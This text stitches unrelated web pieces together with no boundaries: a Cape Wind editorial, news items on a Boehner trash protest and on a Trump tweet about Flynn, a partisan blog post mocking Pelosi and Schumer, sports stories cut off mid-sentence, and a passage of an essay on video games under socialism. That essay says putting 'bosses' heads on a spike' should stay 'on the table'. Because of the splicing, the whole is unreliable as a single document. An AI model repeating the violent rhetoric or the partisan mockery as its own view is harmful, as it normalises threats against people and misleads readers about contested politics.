Tribal officials say their culture requires them to greet the sunrise each day and that this ritual requires unobstructed views. Their claim should be rejected by the responsible federal and state officials. Another round of bureaucratic reviews would drag out an approval process that has gone on much too long and give opponents time to find some other way to derail the effort.
The tribes’ claim seems unsupportable. “Traditional cultural properties” tend to be defined areas — a ceremonial burial ground, for instance — not a huge, unenclosed portion of the ocean. Awarding Nantucket Bay such status could cast a legal shadow over a host of other activities, including shipping and commercial fishing.
There is also evidence that the tribes have been working hand-in-glove with the project’s main opposition group, the Alliance to Protect Nantucket Sound. The alliance includes many local people but has been largely underwritten by wealthy homeowners from Nantucket, Martha’s Vineyard and Cape Cod who hate the idea of having 440-foot windmills on the horizon.
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The Minerals Management Service, the agency overseeing the approval process, believes that the claims are bogus. But still to be heard from is Brona Simon, the state’s historic preservation officer. If she agrees with the service — and she should — then the matter goes to Interior Secretary Ken Salazar. If she does not, then it goes to the National Park Service for further review and then to Mr. Salazar.
One way or the other, Mr. Salazar should approve the project. Cape Wind is supported by the Massachusetts government and the great majority of its citizens, who see it as a clean alternative to the power plants that contribute to global warming. Rejecting, even delaying it, would send a dispiriting message to other developers who are further behind Cape Wind.8 years ago
Washington (CNN) - If the federal government shuts down come Friday, House Speaker John Boehner may be in for quite a mess at his Washington, D.C. residence if some Facebook users have their way.
A Facebook event, entitled "If Boehner shuts down the government I am taking my trash to his house," has popped up and is gaining steam as the shutdown showdown ramps up on Capitol Hill. If the federal government shuts down, one of the District's services that will stop is trash pickup.
"Speaker John Boehner is ready to shut down the government, including District of Columbia city services like trash collection," it says on the page. "Well, if he won't allow us to use OUR TAX DOLLARS to pick it up, maybe we should just BRING IT TO HIM."
As of 2:30 p.m. EST there are 1,476 attending; 126 are listed as maybe; 156 aren't showing up; and 4,652 are still making up their minds (much like Congress, apparently).
The trash-a-thon is scheduled for Saturday and apparently will last through June 30.
Organizers of the event - Jonah Goodman and Nolan Treadway - write on the page that even if the government shutdown doesn't occur, they will "move forward with this event, we'll provide details on location(s) and we'll make sure it's done in a sanitary and respectful way. Please don't list any personal addresses for members of Congress on this page."
Goodman is listed in the Democratic National Committee network. Treadway is the political and logistics director for the liberal group Netroots Nation.
House Speaker Boehner's spokesman Michael Steel did not comment to CNN on the group. But he said that "The Speaker has made clear that he wants to cut spending and keep the government open. The House will pass yet another bill to that this afternoon. If the government does shut down, these folks should focus their ire on the Democrats who are actively rooting for a government shutdown, hoping for partisan gain."
Reaction on the page is, like Washington, all over the place.
Amy Lysander: "Do you plan on trashing the yards of the Democrats who are actually causing a shutdown? The House passed a bill to keep the government open. Two of them, actually. The Senate hasn't. Where's Harry Reid's house?"
Diane C. Russell: "Dems controlled Congress completely for 11 months after Obama submitted FY 2011 budget, but FAILED to do their duty and REFUSED to pass any appropriations, either before or after the beginning of the fiscal year."
Brian Devine: "I'll bring some styrofoam from the Hill caf."
Darrin Morgan: "Darn! I just cleaned out my garage. Oh, well. I have some rotten fruit I can throw at the Weeper of the House."MUST SEE VIDEO=> Pelosi-Schumer Suffer Protest Meltdown at Supreme Court – TRUMP Mocks Them Mercilessly!
Hah-hah-Hah!
Nancy Pelosi, Chuck Schumer and the hapless Democrats tried to hold a rally last night on the steps of the Supreme Court.
But their microphone didn’t work.
Pelosi was caught babbling on about the moon!
Too funny!
When all else fails…sing? Pelosi, Schumer lead a protest against President Trump, and it doesn't quite go as planned pic.twitter.com/iKyGRSqYiv — FOX & friends (@foxandfriends) January 31, 2017
President Trump couldn’t help himself.
The Republican president mocked the two old leaders and their flailing party:
Nancy Pelosi and Fake Tears Chuck Schumer held a rally at the steps of The Supreme Court and mic did not work (a mess)-just like Dem party! — Donald J. Trump (@realDonaldTrump) January 31, 2017
Pelosi and “Fake Tears” Schumer!
Too much!Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Dec. 3, 2017, 5:02 PM GMT / Updated Dec. 4, 2017, 12:46 PM GMT By Kristen Welker and Max Burman
WASHINGTON — President Donald Trump's personal lawyer took responsibility Sunday for a tweet that Trump sent the previous day, in which the president said for the first time that he knew his former security adviser, Michael Flynn, had lied to the FBI before he fired Flynn in February.
The tweet caused an uproar in Washington because it implied Trump knew Flynn had committed a felony — lying to the FBI — when he told then-FBI director James Comey to go easy on Flynn the day after the firing.
Interfering in the FBI's investigation could be construed as obstructing justice, potentially creating legal jeopardy for Trump. Within a few hours, Trump's personal lawyer, John Dowd, stepped in to say that he wrote the tweet, not the president.
Dowd told NBC News that he drafted the tweet and then sent it to White House Social Media Director Dan Scavino to publish. When asked for the original email he sent to Scavino, Dowd said he dictated it orally.
I never asked Comey to stop investigating Flynn. Just more Fake News covering another Comey lie! — Donald J. Trump (@realDonaldTrump) December 3, 2017
"I'm out of the tweeting business," Dowd said with a chuckle. "I did not mean to break news."
Trump, however, issued 10 tweets in 24 hours related to the Russia investigation, the FBI, and how federal investigators should really be looking into Hillary Clinton.
He also denied that he asked Comey to back off the investigation, though Comey has testified to that effect under oath before Congress.
"I never asked Comey to stop investigating Flynn," he tweeted on Sunday morning. "Just more Fake News covering another Comey lie!"
John Dowd leaves U.S. District Court in Manhattan in May 2011. Brendan McDermid / Reuters file
Dowd said that Trump's other tweet saying Flynn was fired in part for lying to the FBI was a reference to a statement made by acting Attorney General Sally Yates when she came to the White House on Jan. 26. At that time, she told White House Counsel Don McGahn that Flynn had "given the agents the same story he gave the Vice President."
"For some reason, the [Justice] Department didn't want to make an accusation of lying," Dowd said. "The agents thought Flynn was confused."
McGahn then passed that information on to the president, Dowd said.
"All the president knew was that the department was not accusing him of lying," Dowd said.
Dowd's decision to claim responsibility for the tweet was first reported by The Washington Post and confirmed by NBC News on Sunday.
In another tweet sent early on Sunday morning, Trump denied ever asking Comey to drop his investigation into Flynn.
Dowd added: "The point of that tweet was entirely correct. It's just very sad. I don't know why the guy lied. He didn't need to."
According to court documents, Flynn twice lied to the FBI about his interactions with Russian Ambassador Sergey Kislyak. Flynn falsely said he had not asked Kislyak "to refrain from escalating the situation" in response to sanctions that the U.S. had imposed against Russia on Dec. 29, three weeks before the Trump administration came into office.
Court documents also said that Flynn had lied when he claimed that he had not asked Kislylak “to delay a vote on or defeat” a U.N. Security Council resolution on Dec. 22.
Nope. Not letting this go. The FBI’s reputation is not in “tatters”. It’s composed of the same dedicated men and women who have always worked there and who do a great, apolitical job. You’ll find integrity and honesty at FBI headquarters and not at 1600 Penn Ave right now — Eric Holder (@EricHolder) December 3, 2017
On both occasions, Flynn sought counsel with senior Trump transition officials before speaking to the Russian diplomat Kislyak. According to three people familiar with the matter, one of the people on the transition team Flynn spoke with is Trump’s son-in-law and senior adviser Jared Kushner. Two people familiar with the matter said that another transition official referred to in the court documents is K.T. McFarland, who served as deputy national security adviser for five months and is now the nominee to become the next U.S. ambassador to Singapore.
According to the charges, Flynn lied to the FBI two days after he was sworn in as Trump’s national security adviser.
Since the Mueller probe began in May, Flynn is the first senior White House official to be charged in the investigation of Russian meddling in the 2016 presidential election. He is also the first official to agree to fully cooperate with the inquiry.
A source close to the Trump administration told NBC News that the White House was “blindsided” by the announcement Friday Flynn’s guilty plea.
Kristen Welker reported from Washington. Max Burman reported from London.ORLANDO, Fla. — The Toronto Blue Jays want Shohei Ohtani.
Now, the only question that matters is: Does the two-way Japanese sensation want them?
Set aside the confusion surrounding the posting process and the ins and outs of the international bonus pool restrictions that the 23-year-old left-handed hitter and right-handed pitcher is subject to.
The chase for the Nippon Ham Fighters star could boil down, very simply, to where Ohtani wants to play baseball.
To quote Lloyd Christmas … so you’re telling me there’s a chance?
On the first day of the GM Meetings in Orlando, Blue Jays general manager Ross Atkins admitted they’re ready to put a full-court press on Ohtani as soon as he’s officially posted.
“We are extremely prepared,” Atkins said. “He fits about as well as anybody could fit for our team right now. He’s an incredible talent.”
You’d have to be inside Ohtani’s head — or at least inside his inner circle — to know what cities he likes and what kind of quality of life aspects interest him.
But two things are certain: One is that he’s interested in winning. The other is that he’s eyeing a chance to continue his career as both a pitcher and hitter.
That’s something the Blue Jays can offer thanks to the American League DH, and it sounds like it will be part of the pitch.
Atkins feels like the organization’s investment in high performance analytics may help on that front too.
“There aren’t examples of it in the modern game, but data around recovery specific to that player, data around recovery relative to other players per position,” Atkins said. “We’re not going to have concrete research on how to have a two-way player, but to be a bit more scientific about it than subjective, I think, is a benefit to any organization that’s prepared to do that.”
Since Ohtani is under the age of 25, he’s subject to bonus pool restrictions, which hard caps teams between $4.75 million and $5.75 million to spend each year from July 2 until the following June.
Teams can also acquire up to 75 per cent of their original bonus pool allotment via trade.
According to reports, only six teams have enough bonus pool money to even offer Ohtani six figures.
The Blue Jays are not one of those six, but Atkins doesn’t feel that will be a problem if they get to that point.
“I don’t think we would have to do too much entirely different than most teams,” Atkins said. “This is going to be an interesting process, for sure. There’s still a lot more information to come, but I think by all means that we are in a position where we’re prepared to be just as capable as most teams to acquire him.”
Ohtani may not have the financial bargaining power that Japanese stars before him were afforded when they made the MLB move, but he still has the right to choose his destination, and that has every single team — some more realistically than others — at least holding out hope.
ANTHOPOULOS MAKES BRAVE MOVE
Two years after parting ways with the franchise he built back into a contender, former Blue Jays GM Alex Anthopoulos was introduced as the Atlanta Braves’ new general manager Monday afternoon while the GM meetings were getting going.
Anthopoulos was expected to hop a flight to Orlando late Monday to join his cohorts at the annual event and get right to work on an interesting Atlanta roster that boasts one of the best farm systems in baseball.
The 40-year-old Montreal product, still revered by Jays fans for bringing post-season baseball back to Toronto, got exactly what he was looking for too — full control of baseball operations.
“I view this as one of the premier jobs in all of sports with the young talent that we have here,” Anthopoulos said during the press conference. “There are some dynamic young players. There's no question that we certainly expect big things moving forward.”
ATKINS’ TARGETS
While Atkins had no interest in getting into specifics Monday, he did skirt around the subject of his roster priorities.
As you can expect with a team that finished 10 games under.500, there are a lot of needs, but position players are atop the list.
“Right now, I think the bulk of our focus is on position players,” Atkins said. “Part of that is where our team is, part of that is the market.”
While the glaring hole in right field would seem to be a top priority, Atkins pointed to the need for more versatility on the roster, especially in the middle infield.
“I think our priority is complementing our infield in some way with versatility,” Atkins said. “Someone who can, not just play when needed, but someone who could potentially get 600 plate appearances across our infield.”
“We have to be prepared if Devon (Travis) is not ready to give us 600 plate appearances. If (Troy) Tulowitzki’s not able to give us 150 games, we have to be prepared to offset that. I think the best way to do that is to find someone that has the versatility that could also go to the outfield when we do have a completely healthy infield.”
The well-travelled Eduardo Nunez, who’s played more than 50 games in his career at second base, third base, shortstop and in the outfield, could fit the bill in that regard.
Nunez has been worth a total of 4.8 fWAR over the past two seasons.
AROUND THE DIAMOND
Atkins, president/CEO Mark Shapiro, and a group of around 40 from the Blue Jays organization will attend Roy Halladay’s celebration of life Tuesday afternoon in Clearwater, Fla., about two hours away from where the GM Meetings are being held … Atkins shot down the report that Halladay had been turned away by the Jays organization when he wanted to work with their young pitchers. “What was reported wasn’t accurate,” Atkins said. “I’d rather not get into the details.” … Asked whether teams have been inquiring about third baseman Josh Donaldson, who’s slated to become a free agent after the 2018 season, Atkins didn’t say no, but reiterated what the franchise has been saying since June. “Every team also understands how much we value Josh Donaldson and how important he is to us,” Atkins said.It's all but a certainty Charlie Coyle will start this season with the Minnesota Wild. Where he'll play is still to be determined.
Coyle was selected in the first round (No. 28) of the 2010 NHL Draft by the San Jose Sharks, but he was traded a year later, along with right wing Devin Setoguchi and a first-round pick in 2011 (center Zack Phillips), to the Wild in exchange for defenseman-turned-forward Brent Burns.
Coyle made a huge impression with Wild brass last season after being promoted from the Houston Aeros of the American Hockey League. The 21-year-old was so impressive he found himself playing right wing on Minnesota's top line alongside center Mikko Koivu and left wing Zach Parise. The 6-foot-2, 205-pound native of East Weymouth, Mass., had eight goals and six assists in 37 games in his first taste of NHL hockey.
"Obviously, it's every little kid's dream to make the NHL," Coyle told NHL.com. "But to finally get out there and play and reach that level … it was only half of a season, but it was still the real deal. I learned a lot. I'm with a good organization, a good group of guys, so it was a great experience overall."
He's unlikely to start this season on Minnesota's top line -- veteran Jason Pominville is expected to play right wing with Koivu and Parise -- but Coyle could remain a top-six forward. The question of where he'll play is likely to depend on center Mikael Granlund, another 21-year-old who's vying for a job. Should Granlund make the team, it is conceivable Coyle could be his right wing, with veteran Dany Heatley on the left side.
Whatever happens, Coyle enters training camp with confidence after the success he achieved while skating with Koivu and Parise, who helped him adjust to life in the NHL.
"It definitely gives me confidence from the coaches, knowing that they think I can play up there with those guys," Coyle said. "Just to be on the team was great, and then putting me up there was pretty special, to play with those guys and learn from them every day. They're awesome guys. They're great players and everyone can see that. They're even better guys off the ice. They always helped me with everything I did and made me feel comfortable out there. It was pretty cool to be with those two guys.
"[But] I think it took some time. I'm the little kid on the line, I guess. At the start it was, 'Oh wow, I'm with these two guys. Do I [have] to pass them the puck the whole |
would look like in a socialist world has haunted me for days. Not only because I’m a leftist and I care about games, but because of how it relates to many crucial issues of 21st century radicalism…
When imagining socialism it’s easy to picture utopian or dystopian visions pulled from Star Trek or 1984, but a near-future socialist system wouldn’t look so radically different from the one we live in. We can imagine it without resorting to fictional technologies or elaborate space exploration allegories.
Traditionally, socialists have been reluctant to prescribe detailed visions of the society they would like to establish, focusing instead on contradictions of capitalism and providing generic formulas like “from each according to his ability, to each according to his needs”. One of Marx and Engels’ earliest ideological battles was against utopian socialists like Proudhon, who proposed visions of perfect societies without an analysis of class conflicts and historical contingencies.
Utopian socialists, marxists, and anarchists tend to share the idea that once the bourgeois state is abolished, moving toward an ideal society would require a continuous free experimentation of practices, an application of the scientific method to social problems — that is, science as a self-correcting system based on concrete data.
In this view, once the universal ideals of freedom and equality are established as parameters for success, a blueprint for a socialist world is unnecessary because it would emerge organically once truly democratic systems are in place.
However, the lack of images of a socialist future is a huge challenge to the Left because it leaves us only with the failed examples of “actually existing socialism” from the 20th century. Even if the Soviet Union and the Eastern Bloc demonstrated a remarkable technological prowess, they didn’t seem to have a particularly lively game culture.
Since the end of the Cold War, the current capitalist hegemony has not been based on proposing neoliberalism as the best option, but rather as the only possible option. That’s why I think it’s important to exercise some radical imagination.
A game industry without bosses
To put it bluntly, the end goal of socialism is to socialize and democratize the means of production.
This comes from the understanding that much of the injustice in this world is the result of a small class of people leveraging these means of production to exploit other people’s labor, accumulating more wealth and power in the process.
Many corporations are already collectively owned: they are driven by swarms of investors and bound by a ruthless competition that forces them to constantly maximize the exploitation of their workers and the environment. With nothing but atomized greed in charge, with weak regulations and no accountability, capitalism represents familiar contradictions and crisis: inequality, unemployment, bubbles and overproduction, environmental devastation, and so on.
Socialism wouldn’t automatically solve these problems, but it would at least provide a framework to address them, letting citizens democratically decide what to produce, how to produce it, and what to do with the surplus.
In my kind of socialism, big game companies would be run cooperatively by workers. They would be confederated to allow the sharing of resources while maintaining a good deal of creative autonomy.
The exploitative labor practice known as crunch time, would likely be disappear in a democratic workplace, or be activated only in emergency cases.
Cyclical layoffs are a common occurrence even in successful companies and cause a good deal of stress and instability among employees. The industry has plenty of horror stories of people getting laid off, rehired, and laid off again by the same company, due to poor planning or to the inconsistency of game development cycles.
With a low level of competition between companies and a high level of coordination between projects, such misalignments and redundancies would be mitigated.
Game folks are experts at solving this kind of problem: all management games deal with optimization of limited resources. Imagine the internal management practices of a typical company abstracted to a higher level to coordinate different units around the world.
We are talking about a creative industry which needs a dynamic ecosystem, support for individuals with a vision, and room to experiment and fail. Technological and cultural production is inherently non uniform, fast-changing, and unpredictable. Permanent employment in the game industry, in the classic industrial unionist sense, may not be possible without causing stagnation and inefficiencies.
But this structural flexibility doesn’t have to translate to workers’ precarity. The idea of Flexicurity, while still somewhat vague, is meant to address this dilemma. Flexicurity is a set of principles meant to increase adaptability without deteriorating the working conditions. In other words, high mobility in the labor market combined with social security, unemployment services, and lifelong learning. Some implementations of this model already exist in European economies.
Workplace democracy would also create spaces to address more subtle forms of exploitation, such as gender and racial discrimination, which are pervasive in male dominated industries and across the tech sector. Of course, socialism would not magically transform sexist individuals, and, of course, we don’t have to wait for a revolution to fight discrimination: enlightened companies can implement equitable and diverse workplaces under capitalism as well. But the institution of horizontal structures and regular assemblies on the workplace would create a culture of cooperation and participation. Employees will be empowered to call out abusers and express grievances.
Indies of the world, unite!
The rise of independent development already gives us a glimpse of a socialist future in which game makers can define their own labor practices, share revenues more equitably, and be less subservient to publishers and marketers. What is still missing, especially in the United States, are structures to support independent efforts.
Indie success stories typically involve individuals working on multi-year projects without income or health insurance, risking their personal savings or going deep into debt.
We shouldn’t romanticize self-sacrifice and financial risk-taking, and be aware of how survivorship bias shapes our idea of success.
Indies would have major advantages in a socialist country, or even in a more easily achievable social democracy.
Universal healthcare and public education would reduce the pressure to work for a company at any condition just to pay student debt and get health coverage. The possible repeal of the Affordable Care Act, a.k.a. Obamacare, already threatens the career of many American indie developers.
Public funding for the arts, despised by free-market fundamentalists and widely supported by progressives, would support the most original projects and help build a thriving independent community. Business stimulus money from industry bodies would help kickstart more ambitious projects. Today, the Ontario Media Development Corporation (part of the Ministry of Culture) offers $250K production grants to Ontario-based indies.
Some form of Universal Basic Income is likely to be introduced in the transition to a socialist economy, and would further empower artists to pursue independent endeavor (more about this below).
Seizing the means of distribution
One could argue that in the game industry the means of production are already in the hands of the people. Making games doesn’t necessary require huge capital or machinery. Game engines, open source code, know-how, and assets are accessible to anybody with enough time and passion. It’s a general outcome of digitalization and the Internet: anybody can make games, almost with the same ease as creating thinkpieces, or shooting funny cat videos.
As I pointed out in the past, this excess of creativity and the democratization of cultural production goes hand in hand with a shift toward the control of distribution platforms by corporate conglomerates. If the “content” is abundant and therefore cheap, then the best way to make money is to control the way it is distributed, aggregated, filtered, and made artificially scarce.
The vectoral class, as defined by McKenzie Wark in A Hacker Manifesto, manifests itself in the game industry with digital marketplaces like Steam, the App store, or Playstation Network. These platforms leverage their exclusive control over hardware, operating systems, protocols, and pre-existing user bases (i.e. the kind of capital that is *not* in the hand of the people) in order to impose a sort of tax on the content that is sold or bought.
At least 30% of what you spend on a game goes to distributors like Steam or the App Store. Additionally, game makers may have to subscribe to developer programs, or acquire costly development kits for the “privilege” of accessing users.
Think about it: developers actually make the games, they promote them, they assume all the risks, they are forced to comply to terms of services that limit freedom of expression. Meanwhile platform capitalists like Steam don’t do shit beside maintaining aggregators and devising baroque anti-piracy systems.
There’s no point in socializing production without socializing distribution as well. Digital monopolies amount to little more than protocols and these protocols can be modified if they lock-in and screw over users and developers. Digital marketplaces can be democratized by instituting full revenue-sharing systems and by allowing stakeholders and end-users decide how much to reinvest in the platform. Much of the work of content filtration and ranking is already performed by the gaming communities (ratings, tagging, curating, greenlighting, etc.). To the gamer, a socialized Steam would pretty much look like the current Steam.
The alternative distribution channel itch.io is already putting more focus on community building and inclusivity. Itch.io has no submission fees or draconian guidelines, it provides tools for game makers to organize game jams and share assets. More notably, the majority of titles are available on a Pay What You Want basis, which is built upon a meaningful fan-developer relationship. Compare this to to Steam’s manipulative sales that pit loyal fans against opportunistic ones while encouraging a digital hoarding behavior.
No five year game plans
One of the main goals of socialism is to rationalize production in order to avoid under- and overproduction, ensure sustainable development, and address the paradox of unemployment.
But nobody wants a bureaucracy in charge of determining how many and which games need to be made. Video games are non-essential goods at the bleeding edge of technological innovation, their production cannot be centrally planned according the projected “needs” of a population. In these circumstances it may be a good idea to keep voting with our wallets.
Money, or some kind of credit, will still exist in a near-future socialism. Money has a bad reputation among radicals, because it appears to be both the mean and the end of all forms of economic exploitation. But money and price systems can also be seen as mere technologies to attribute value to things. A consumer market functions as a distributed, emergent computing system in which prices are the synthesis of a multitude of ever-changing desires and conditions.
Moreover, letting people determine how to spend money is the most practical way to allow for different lifestyles and work/life balances. The crucial part would be preventing the allocation of wealth into the kind of private property that can reignite a process of accumulation or speculation.
Today, crowdfunding platforms like Kickstarter allow producers to gauge the demand for innovative products. They eliminate the need of publishers and investors who can front money (expecting a return), and socialize the entrepreneurial risk among the users who believe in the viability of certain ideas.
Peer funding systems like Patreon support the careers of individual artists or projects that don’t fit the Kickstarter model of a flashy, one-off, capital intensive product.
It’s not hard to imagine public crowdfunding platforms that empower both consumers and ambitious creators without extracting significant fees. Admittedly, crowdfunding often resembles a consumerist popularity contest dominated by already established creators. But it wouldn’t be the only way to pitch ideas. Other kinds of grants directed by experts in the various fields would identify and support less populist endeavors, not unlike the many art and science granting initiatives we have in place today.
It’s also possible to imagine a kind of socialism or transitional society in which everything works pretty much like a market economy, with free enterprise in all sectors except for the financial one, which would be socialized.
In this model, financial institutions would loan money according to democratically set priorities and not to mere profitability. Additionally, an entirely public financial system would end speculation, predatory loans, and other unproductive ways of making money from money.
In the gaming field this could affect more structural types of innovation: it is possible that, given the possibility, a population would decide to prioritize green technologies and cancer research rather than sophisticated virtual reality hardware or esport stadiums. Democracy can be a pain sometimes.
Gaming Commons
Capitalism’s inherent drive toward expansion results in the commoditization of more and more aspects of our existence. Relationships are captured and turned into commodities by social media; care work traditionally done by women within the family is increasingly professionalized; abundant resources like water are made artificially scarce and sold for a profit; the DNA of organisms emerging from the labor of generations of farmers are patented; the few remaining public services are under constant threat of privatization.
The promise of socialism is exactly the opposite: to de-commoditize an increasing portion of what we make and do, starting from basic needs such as food and shelter, education, healthcare, childcare, and even access to transportation and information. In other words it’s a struggle for the expansion of guaranteed human rights. The right to life, education, or mobility, for instance, should take precedence over the right of the entrepreneurial class to profit from health services, schools, or ride sharing apps.
Digital games are non-rivalrous goods in that they can be easily reproduced and distributed at almost no cost. Because of their potential abundance, they are perfect candidates for decommodification. The obvious question “how can developers make a living if their games are available for free?” has a variety of answers that intersect with all the issues presented here. Public funding for games can be conditioned to the public availability of the work (as it happens, in theory, with publicly funded scientific research); voluntary support and peer patronage can integrate forms of Universal Basic Income; a reduction of the workday would allow more time for self-motivated activities.
Many independent gamemakers (not to mention artists, writers, or musicians) already produce important cultural work without expecting any significant income from it. What they get instead is social capital, respect within their communities, a sense of purpose that alienating jobs can’t provide.
But operating in a gift economy under capitalism can be privilege. Many aspiring artists simply don’t have the required surplus of income or time, the family support or the environment to work for glory and “exposure”. Moreover, free cultural work is regularly harnessed and exploited by a class of speculators: from platform capitalists harnessing user generated content, to landlords cashing on the desirability of creative neighborhoods; from marketers ripping off emerging street styles, to art world professionals making a career off unpaid labor.
Culture can be conceived as a common good which anybody can access to and remix as long as we are able to compensate prosumers according to the different degrees of participation.
Socialism was theorized before the emergence of the cultural industries, and it is still associated to the early industrial era. Old timey socialists often fetishize the blue-collar working class and are unable to update their analysis and demands to economies centered around immaterial labor and services. It doesn’t have to be that way. Countless of thinkers and activists have been updating, complicating, hybridizing traditional critiques of capitalism to address the ever-changing relations of production.
Ultimately, if a significant portion of society determines that videogames are important, and access to culture is a right, then the productive forces should be organized accordingly, and not left to the whims of an exclusionary market.
Power to the gamers
Due to the tragic parable of the Eastern Block, life under socialism is always portrayed as dull and homogenized, in stark contrast with the cornucopia of consumer choices provided by capitalism. As a matter of fact, we don’t have any historical examples of countries switching to planned economies from an advanced industrial stage, and therefore Cold War-era comparisons are not useful.
I want to make the argument that democratic socialism would be beneficial for our lives as consumers as much as much as our life as producers.
For starters, the most obnoxious byproducts of capitalist competition would disappear under socialism. In gaming, artificial scarcity measures such as preventing backward compatibility of software and hardware would disappear since they don’t serve any purpose other than maximizing the publisher’s profit at the expense of consumers. Intrusive DRM systems would be made obsolete by cultural commons.The exploitative design patterns of free-to-play games, borrowed directly from gambling, would likely be regulated away.
Gamers have different tastes and habits so it would make a lot of sense to have a differentiation of gaming hardware: portable devices, room scale VR, public arcades, etc. On the other hand, I can’t think of any good reasons to have cyclical console wars in which manufacturers of almost identical products compete through intellectual property, exclusive games, patents, or proprietary accessories. The would be no need to choose between Playstation and xBox, Oculus and Vive, PC and Mac.
The most socialistically reasonable solution is to have different classes of general-purpose computing machines sharing a set of open standards.
Technological innovation can still have a competitive element, for example by having a multitude of independent research labs pitching prototypes for mass production, or responding to particular challenges like DARPA’s funding solicitations.
If you come from an economically privileged background, under socialism you may end up owning less stuff but, in principle, it would be better stuff.
Consider how gaming contributes to our throwaway society. Planned obsolescence is an irresponsible, environmentally unfriendly industrial practice, so consoles and computers would be designed to be upgraded in order to maximize their components’ life cycles. Obsolete machines would be repurposed to less intensive duties, and then recycled.
Don’t picture artisanal consoles made of cork and biodegradable cardboard! Recycling electronics would be an advanced system design effort involving an ecosystem of open hardware and standards, mandatory modular architectures to encourage repair and reuse, responsible e-waste disposal methods, government programs enabling and enforcing protocols for sustainable development. The Fairphone project and the Electronics Take-Back Coalition are existing prototypes for this kind of initiatives.
The soul of a gamer under socialism
Growing up as a gamer you may experience a sudden transformation in your relation to time and money. As a kid you have plenty of time to kill but little money to spend on new titles. Young gamers are very vocal when a product doesn’t deliver the expected amount of entertainment so game companies are compelled to stretch and bloat their games, lavishing whiners and completionists with optional sidequests.
However, once employed, a $60 tag on a AAA game won’t burn a hole in your pocket but investing dozen of hours in a single game experience becomes a difficult decision.
The end goal of a communist society is not only to take “from each according to their ability”, but also to liberate as much time possible from the tyranny of work. There is a rich tradition of refusal of labor in the libertarian left which animated social unrest throughout the sixties and seventies. The radical opposition to alienating factory jobs is arguably one of the driving forces behind the restructuring of Western economies into more creative, automated, and information-based economies.
Fast developments in the field of artificial intelligence and robotics presage the automation of more and more intellectual and service jobs. The spectre of technological unemployment is regularly evoked in the discourse around self-driving cars.
A socialist recognizes that unemployment is an inherently capitalist contradiction. The solution is not to oppose automation or “bring back” coal and auto-industry jobs but rather to make sure that the benefits of a higher productivity per capita are equitably distributed. Work less, employ everybody.
But if people work less won’t they have less money to spend on trivial things like videogames?
A Universal Basic Income could be a way to gradually enact this redistribution process. The idea is to separate income from labor, giving everybody a minimum income regardless of their employment status. It wouldn’t be enough to disincentivize people from working completely, and it shouldn’t be seen as an expanded unemployment benefit, or a replacement for all social services. I’d rather see the UBI as a way to redistribute the wealth created by all the forms of unpaid labor: the diffuse, intrinsically motivated cultural production accumulating into general intellect, the affective and domestic labor that keeps society going, the socially created prestige of a neighborhood that congeals into rent increases, the emotional costs of an increasingly flexible labor market, and so on. If capitalism commodifies everything and extracts value from anyone, we ought to demand more than a raise.
In the gaming microcosm we have plenty of examples for this kind labor: user generated content and modding, community activity online and offline, amateur reviews, machinima and streaming, free games, open source code, gamified machine learning training like Google’s Image Labeler or Quick Draw.
Naturally, we shouldn’t expect a hobbyist cosplayer to be paid to dress up at a convention, that’s exactly the kind of pursuit that should be decommodified. But at the same time we should be aware that this labor performed for free is systematically harnessed and capitalized. Every Minecraft block, social media update, piece of fan art, interaction in World of Warcraft contributes to the wealth, brand, and potential market value of a company.
In a capitalist economy the UBI would require a lot of taxation and would be fought fiercely, but consider this: from the point of view of the Silicon Valley ruling class, the UBI is a reasonable alternative to having their heads put on a spike by hordes of unemployed.
Outside of tech circles, bosses may not have the systemic thinking nor the long vision to understand the existential threats of technological unemployment. And that’s where politics comes into play: it’s the socialists’ duty to constantly remind them of the possibility of their heads ending up on a spike. Even in a hypothetical peaceful transition to a social democracy, the option of putting the bosses’ heads on a spike should always be on the table. That’s the only way to negotiate progressive reforms.
In a very (very) ideal scenario, a gradual de-commoditization of basic services, combined with increasing automation along socialist lines would result in a graceful extinction of the ruling class.
The post-work society humorously referred as Fully Automated Luxury Communism is both a gamer utopia and an opportunity for artists and entertainers. Without dull jobs (or lack thereof) occupying our minds, we will need more ways to keep us stimulated and chase away our sense of existential dread.
Who pays for that?
Growing up under in the shadow of Capitalist Realism it’s hard to conceive how we could have more while working less. Who pays for a massive expansion of social services when we can barely fund the existing public sector? Wouldn’t socialism grind the economy to a halt and make everybody poorer?
Despite certain caricatures, socialists don’t want to slow down capitalism or revert back to a pre-capitalist economy. Marx and Engels admired the power of capitalism to organize production and create an unprecedented surplus – they just couldn’t get over the inequality and the inefficiencies of a free market system. This view of socialism/communism as an acceleration of productive forces is being revived by some currents within the contemporary left. Their proposition is not to merely regulate the economy nor to create local, fleeting alternatives to capitalism, but rather to unleash the full potential of technology, to reclaim the modernist idea of collective mastery over society and the environment.
It’s a vision that works against the conservative meme of the economy as a zero-sum-game. Obviously, a comprehensive redistribution of wealth would have to take into account reparations for centuries of racial, patriarchal and colonial oppression, but it can’t be simply reduced to taking stuff away from those who have more than the average.
The expansion of productive potential would be coupled with the recalibration of priorities and with the unlocking of resources squandered in war and surveillance, speculative finance, prisons, or fossil fuel subsidies. Think about the material and spiritual wealth that could be created by the two million able-bodies incarcerated in the US! Think about the resources crystallized in empty McMansions and Tomahawk missiles!
Marxio and Luengels
What about the games themselves? Will violence and competition be banned from socialist videogames? Are we going to play tame educational games about tolerance and social justice?
Hopefully not. Under a democratic socialist regime, freedom of expression would be sacrosanct. Given the traditional role of art as counter-power, we would see a diversity of ideological positions in videogames, including explicitly anti-socialist ones.
More generally, cultural manifestations tend to reflect a society’s dominant values and material conditions. One of the earliest evidence of human play is the family of “boardgames” known as mancala, dating back to the Neolithic period. Mancala games display strong analogies with seeding and territorial management, and can be interpreted as way to conceptualize the emerging agrarian culture. In the same vein, the stylized warfare of chess, or the karmic structure of Snake and Ladders, are unquestionably informed by the concerns and the moral systems of the societies that generated them. It’s not just a matter of providing a familiar metaphor for a series of rules; we make and play games to structure our way of thinking about the systems we inhabit.
Nothing prevents us from imagining and creating socialist games today, but it’s likely that with a radical transformation of the relations of production and with an expansion of the democratic possibilities, we would crave for different games: games that problematize cooperation and collective decision making. If it sounds boring, try Overcooked or Pandemic.
Perhaps the opposite may happen as well: participating in democratic and relational processes every day might push us toward hyper-individualistic, hyper-competitive, sociopathic shooters that can give vent to our repressed primate impulses.
